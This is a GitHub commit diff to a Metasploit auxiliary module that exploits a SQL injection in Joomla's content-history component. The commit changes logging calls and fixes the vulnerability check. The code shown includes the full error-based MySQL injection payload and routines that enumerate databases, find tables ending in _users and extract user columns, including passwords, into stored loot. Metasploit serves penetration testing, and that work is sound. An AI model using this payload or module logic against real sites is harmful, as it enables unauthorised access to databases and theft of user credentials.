Skip to content

Commit f738dd2

Browse files
committed
replace print_* with vprint_* / fix check method
1 parent a662811 commit f738dd2

File tree

1 file changed

+11
-11
lines changed

1 file changed

+11
-11
lines changed

modules/auxiliary/gather/joomla_contenthistory_sqli.rb

Lines changed: 11 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -55,9 +55,10 @@ def check
5555

5656
if res && res.code == 500 && res.body =~ /#{lmark}#{flag}#{rmark}/
5757
Msf::Exploit::CheckCode::Vulnerable
58+
else
59+
Msf::Exploit::CheckCode::Safe
5860
end
5961

60-
Msf::Exploit::CheckCode::Safe
6162
end
6263

6364
def request(query)
@@ -84,7 +85,7 @@ def query_databases
8485
0.upto(dbc.to_i - 1) do |i|
8586
dbname = request(query_fmt % i)
8687
dbs << dbname
87-
print_good(dbname)
88+
vprint_good(dbname)
8889
end
8990

9091
%w(performance_schema information_schema mysql).each do |dbname|
@@ -107,10 +108,10 @@ def query_tables(database)
107108
query_fmt << "WHERE table_schema IN (0x#{database.unpack('H*')[0]}) "
108109
query_fmt << 'LIMIT %d,1)'
109110

110-
print_status('tables in database: %s' % database)
111+
vprint_status('tables in database: %s' % database)
111112
0.upto(tbc.to_i - 1) do |i|
112113
tbname = request(query_fmt % i)
113-
print_good(tbname)
114+
vprint_good(tbname)
114115
tbs << tbname if tbname =~ /_users$/
115116
end
116117
tbs
@@ -121,7 +122,7 @@ def query_columns(database, table)
121122
query = "(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM #{database}.#{table})"
122123

123124
colc = request(query)
124-
print_status(colc)
125+
vprint_status(colc)
125126

126127
valid_cols = [ # joomla_users
127128
'activation',
@@ -158,7 +159,7 @@ def query_columns(database, table)
158159
end
159160
end
160161
cols << record
161-
print_status(record.to_s)
162+
vprint_status(record.to_s)
162163
end
163164
cols
164165
end
@@ -167,19 +168,18 @@ def run
167168
$lmark = Rex::Text.rand_text_alpha(5)
168169
$rmark = Rex::Text.rand_text_alpha(5)
169170

170-
$payload = ''
171-
$payload << 'AND (SELECT 6062 FROM(SELECT COUNT(*),CONCAT('
171+
$payload = 'AND (SELECT 6062 FROM(SELECT COUNT(*),CONCAT('
172172
$payload << "0x#{$lmark.unpack('H*')[0]},"
173173
$payload << '%s,'
174174
$payload << "0x#{$rmark.unpack('H*')[0]},"
175175
$payload << 'FLOOR(RAND(0)*2)'
176176
$payload << ')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)'
177177

178-
dbs = query_databases # query databases
178+
dbs = query_databases
179179
dbs.each do |db|
180-
tables = query_tables(db) # query tables
180+
tables = query_tables(db)
181181
tables.each do |table|
182-
cols = query_columns(db, table) # query cokumns
182+
cols = query_columns(db, table)
183183
next if cols.blank?
184184
path = store_loot(
185185
'joomla.users',

0 commit comments

Comments
 (0)